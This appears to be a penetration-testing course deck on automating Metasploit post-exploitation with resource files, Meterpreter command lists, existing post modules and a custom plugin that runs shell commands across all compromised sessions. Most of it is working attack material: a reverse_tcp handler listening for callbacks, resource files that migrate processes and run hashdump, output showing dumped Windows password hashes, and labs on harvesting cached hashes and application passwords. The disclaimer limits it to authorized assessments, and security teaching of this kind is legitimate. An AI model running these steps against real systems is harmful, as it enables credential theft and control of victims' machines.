Automating Post Exploitation with Metasploit

Automating with Resource Files, Current Modules, Current Scripts and Plugins

Disclaimer

The author of this class is not responsible for the use of this information. The information here provided is for the use of security professionals to automate post exploitation task while performing authorized security assessments and tasks.

Not all API calls available will be covered during this class, only those that are considered to be the most useful one based on the instructors experience. The Metasploit Framework is in constant evolution, this course covers the current version of the framework at the time of it's delivery.

Resource Files

Type	Description
msfconsole	List of msfconsole commands to execute. Can be extended with Ruby.
Meterpreter	List of Meterpreter Console commands.
Multi-Modules	List of Shell, Meterpreter and WMIC Commands
Multi-Scripts	List of Shell, Meterpreter and WMIC Commands

Msfconsole Resource Files

Automating Post Exploitation with Metasploit

Resource File

- msfconsole resource files can contain
  - Console Commands
  - Ruby code between `<ruby></ruby>` tags
- The resource file can be executed using the `resource` command or starting the console with the -r option

Resource File

- Comments can be made on resource files with # and you can leave empty lines in them
- Commands can be any command found in the msfconsole but not commands inside Sessions

```
# Meterpreter Handler Port: 4444
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set ExitOnSession false
exploit -j
```

Resource Files

- A great way to create resource files for msfconsole is to enter the commands and use `makerc` command to save them as a resource file

```
msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf  exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf  exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.100:4444
[*] Starting the payload handler...
msf  exploit(handler) > makerc meter_4444.rc
[*] Saving last 5 commands to meter_4444.rc ...
```

Resource File

- The real flexibility of the msfconsole resource file is the ability to have ruby code embedded in to it
- You can mix regular commands and ruby code in the resource file
- The most common tasks are:
  - Interacting with Sessions
  - Getting DB Information
  - Running Modules

Resource File

```
<ruby>
if Process.uid == 0
        # Set Variables
        scanned_hosts = []
        # Collect host already scanned with nmap
        print_status("Collecting hosts already scanned by nmap.")
        framework.db.notes.each do |n|
                if n.ntype =~ /host.nmap/
                        scanned_hosts << n.host_id
                end
        end
        # Remove duplicates
        scanned_hosts.uniq!
        # Collect list of Hosts
        framework.db.hosts.each do |h|
                if not scanned_hosts.include?(h.id)
                        print_good("Running nmap scan against #{h.address}")
                        self.run_single("db_nmap -A -sV -T4 --stats-every 5s -Pn #{h.address}")
                else
                        print_status("Host #{h.address} has already been scanned")
                end
        end
else
        print_error("You need to run this resource file as root!!!")
end
</ruby>
```

Resource File
Learning to fish

- To see the code executed by each of the commands in the console look at the files in `lib/msf/ui/console/command_dispatcher`
- Take 5 minutes to look over the files

Resource File - Running Post Module

- Post modules can be ran by creating an object of the module

```
# Instanciate a module object
>> m = framework.post.create("windows/gather/checkvm")
=> #<Module:post/windows/gather/checkvm datastore=[{"VERBOSE"=>"false"}]>
```

- Sessions can be verified against the Post Module object to check for compatibility

```
>> m.session_compatible?(1)
=> true
>> m.session_compatible?(2)
=> false
```

- Options are part of the `datastore` hash

```
>> m.datastore['SESSION'] = 1
=> 1
>> m.datastore
=> {"VERBOSE"=>"false", "SESSION"=>1}
```

Resource File - Running Post Module

- Options can be validated before running the module

```
>> m.options.validate(m.datastore)
=> true
```

- Executing the module with output of it being shown

```
>> m.run_simple('LocalInput' => driver.input, 'LocalOutput'    => driver.output)

[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
=> nil
```

Lab

- Create a Resource file that checks if the database is connected
- Run all password collections modules for applications
- Create a Second Resource file for dumping cashed and system hashes for all platforms checking compatibility

Meterpreter Resource Files

Automating Post Exploitation with Metasploit

Meterpreter Resource File

- Meterpreter resource files are just for collections of Meterpreter Commands
- Ruby Code is not supported in Meterpreter resource files
- They can be used for cleanup actions, running multiple post modules and scripts

Meterpreter Resource File

- Comments can be made on resource files with # and you can leave empty lines in them
- Commands can be any command found in the Meterpreter

```
# Migrate off the current process
run migrate -f

# Get base system info
sysinfo
getuid
getpid
```

Meterpreter Resource File

- More than one resource file can be specified in the command line
- To run a resource file just use the `resource` command
- Tab completion can be used for the resource file names

Meterpreter Resource File

```
meterpreter > resource
Usage: resource path1 path2Run the commands stored in the supplied files.

meterpreter > resource resource_sample_met.rc
[*] Reading /Users/carlos/Development/msf4/reource_sample_met.rc
[*] Running run migrate -f

[*] Current server process: meter_mac1.exe (3764)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 4016
[*] New server process: notepad.exe (4016)
[*] Running sysinfo

Computer        : CARLOS-192FCD91
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
[*] Running getuid

Server username: CARLOS-192FCD91\Administrator
[*] Running getpid

Current pid: 4016
```

Existing Post Modules and Scripts

Automating Post Exploitation with Metasploit

Existing Scripts

Name	Description
multi_console_command	Executes a list of Meterpreter console commands given as option or resource file
multicommand	Executes a list of shell commands given as option or resource file
multiscript	Executes a list of Meterprete scripts commands given as option or resource file
wmic	Executes a list of WMIC commands with options given as option or resource file

Existing Post Modules

Name	Description
post/multi/gather/ run_console_rc_file	Executes a list of Meterpreter console commands given a resource file
post/multi/gather/ multi_command	Executes a list of shell commands given as option or resource file
post/windows/gather/ wmic_command	Executes a list of WMIC commands with options given as option or resource file

Existing Scripts

- The scripts `multi_console_command`, `multicommand` and `multiscript` scripts accept a comma separated list of commands with option `-cl`
- The scripts `multi_console_command`, `multicommand` and `multiscript` scripts accept a file with a list of commands with option `-rc`

Existing Scripts

- The wmic script takes an option for the Windows WMIC command with the script options of `-o` or a list of options in a file with `-rc`
- Do to the nature of console commands not returning output programmatically only wmic and `multicommand` can save output to a given file with option `-f`
- Make sure you are using the spool command to save output or have set the `ConsoleLogging` option

Existing Post Modules

- The post modules **`multi_command`**, **`run_console_rc_file`** and **`wmic_command`** all take the **`RESOURCE`** option for a resource file
- The post modules **`multi_command`** and **`wmic_command`** will save individual command output to **`loot`**
- Only **`wmic_command`** will accept an option to specify a individual command.

Scripts/Post Modules Tips

- It is recommended the use of resource files in the scripts do to the problems introduced by escaping some command options
- The best method to use both the scripts and modules are in the handler **`AutoRunScript`** option

Scripts/Post Modules

```
msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf  exploit(handler) > set AutoRunScript multi_console_command -rc /tmp/sample.rc
AutoRunScript => multi_console_command -rc /tmp/sample.rc
msf  exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf  exploit(handler) > exploit -x -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.100:4444
[*] Starting the payload handler...
msf  exploit(handler) > cat /tmp/sample.rc
[*] exec: cat /tmp/sample.rc

sysinfo
getuid
load priv
hashdump
run checkvm
```

Scripts/Post Modules

```
msf  exploit(handler) >
[*] Sending stage (752128 bytes) to 192.168.1.115
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.115:1543) at 2011-08-27
14:49:29 -0400
[*] Session ID 1 (192.168.1.100:4444 -> 192.168.1.115:1543) processing AutoRunScript
'multi_console_command -rc /tmp/sample.rc'
[*] Running Command List ...
[*]     Running command sysinfo
Computer        : CARLOS-192FCD91
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
[*]     Running command getuid
Server username: CARLOS-192FCD91\Administrator
[*]     Running command load priv
[-] The 'priv' extension has already been loaded.
[*]     Running command hashdump
Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392:::
HR:1003:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e:::
[*]     Running command run checkvm
[*] Checking if target is a Virtual Machine .....
[*] This is a VMware Virtual Machine
```

Learning to Fish

- Remember
  - All Meterpreter commands issued thru the console can be found in `lib/rex/post/meterpreter/ui/console/command_dispatcher/`
  - For a more in depth look at the API calls that can be use take a look at the files under `lib/rex/post/meterpreter/extensions/`

Lab

- Create a msfconsole Resource File that will use the Meterpreter standard API calls to show:
  - Check is seesion is of type meterpreter
  - Show System info
  - Show user under which session is running under
  - Dump hashes
  - Take a screnshoot

Resource Files - Tips

- They are perfect for simple tasks that allow you to automate with information in the database and/or in variables
- Adding information to the database is complex
- Ability to pass arguments makes them difficult to use for larger tasks this is why scripts, modules or plugins would be better suited

Plugins

Automating Post Exploitation with Metasploit

Plugins

- The advantages of plugins for post-exploitation are:
  - Adding of new commands with options for automating actions
  - Can hook session creation and closing
  - Can be loaded and unloaded by the user taking advantage of being able to call other modules in addition to working with sessions
  - Resource files with Ruby code can be use for testing features that are later converted to plugins

```ruby
module Msf

# Set a Name for the plugin instance, Class name rules applies (Capitalized, CamelCase)
class Plugin::Sample < Msf::Plugin

    # Initialization of the plugin
    def initialize(framework, opts)
        super

        print_status("Sample plugin loaded.")
    end

    # Clean up method that gets called when the plugin unloads to clean any changes or actions
    # performed by it
    def cleanup

    end

    # Friendly name for the plugin
    def name
        "sample"
    end

    # Short Description of the plugin
    def desc
        "Demonstrates using framework plugins"
    end

protected
end

end
```

Plugins - Types

- The most common types of plugins for post exploitation are the
  - Command Dispatcher
  - Event Handler
  - Mix of both
- The Command Dispatcher adds commands to the current msfconsole session
- The Event Handler will perform actions when certain events happen

Plugins - Lets Start One

- Lets build a command dispatcher plugin that will add
  - Command to run a command against al sessions
  - Command against a list of sessions

Plugins - Set name and Description

- ```
  module Msf

  class Plugin::PostCommand < Msf::Plugin

      def initialize(framework, opts)
          super

          print_status("post_command plugin loaded.")
      end

      def cleanup

      end

      def name
          "post_command"
      end

      def desc
          "Runs shell command against all sessions or a given list of sessions"
      end

  protected
  end

  end
  ```
  ```

Plugin - Create a Command Dispatcher Class

-
```
class Plugin::PostCommand < Msf::Plugin

    class MultiCommand
        include Msf::Ui::Console::CommandDispatcher

        # Set name for command dispatcher
        def name
            "MultiPost"
        end

        # Define Commands
        def commands
            {
                "multi_command" => "Run shell command against several sessions"
            }
        end

        # Multi shell command
        def cmd_multi_command(*args)
            print_line("You passed: #{args.join(' ')}")
        end
    end
end
```

Plugin - Initialize and Cleanup

```
def initialize(framework, opts)
    super
    add_console_dispatcher(MultiCommand)
    print_status("post_command plugin loaded.")
end

def cleanup
    remove_console_dispatcher('MultiPost')
end
```

- We use the **`add_console_dispatcher`** call to load our class in the initialize method of the plugin using the Class Name placed in the name method of the command dispatcher class
- We use **`remove_console_dispatcher`** class to make sure we remove the commands from the console when we unload the plugin using the name give in the method **`name`**

Plugin - Set Options

- Define command options

```
def cmd_multi_command(*args)
    # Define options
    opts = Rex::Parser::Arguments.new(
        "-s"   => [ true,   "Comma separated list of sessions to run modules against."],
        "-a"   => [ false,  "Run against all sessions."],
        "-c"   => [ true,   "Shell command to run."],
        "-h"   => [ false,  "Command Help"]
      )
```

Plugin - Parse Options

- Parse options

```
# set variables for options
sessions = []
command = ""
# Parse options
opts.parse(args) do |opt, idx, val|
    case opt
        when "-s"
            sessions = val.split(",")
        when "-a"
            sessions = framework.sessions.keys
        when "-c"
            command = val
        when "-h"
            print_line(opts.usage)
            return
    end
end
```

Plugin - Command Logic

- Main logic of the command

```
# Make sure that proper values where provided
if not sessions.empty? and not command.empty?
    # Iterate thru the session IDs
    sessions.each do |s|
        # Set the session object
        session = framework.sessions[s.to_i]
        print_status("Running #{command} against session #{s}")
        # Run the command
        cmd_out = session.shell_command_token(command)
        # Print good each line of the command output
        cmd_out.each_line do |l|
            print_good(l.chomp)
        end
    end
else
    print_error("You must specify both a session and a command!")
end
```

Plugin - Running the Plugin

- ```
  msf > load post_command
  [*] post_command plugin loaded.
  [*] Successfully loaded plugin: post_command
  msf > ?

  MultiPost Commands
  ==================

      Command        Description
      -------        -----------
      multi_command  Run shell command against several sessions
  ....

  msf > multi_command -h

  OPTIONS:

      -a        Run against all sessions.
      -c <opt>  Shell command to run.
      -h        Command Help
      -s <opt>  Comma separated list ofessions to run modules against.


  msf > multi_command -c hostname -a
  [*] Running hostname against session 1
  [+]
  [+] carlos-192fcd91
  [*] Running hostname against session 2
  [+]
  [+] carlos-192fcd91
  ```
  ```

Lab

- Add a command called multi_post for running a post module against a all or specified sessions
- Add a command called multi_console for running Meterpreter console commands against all Meterpreter sessions or a specified sessions

Questions?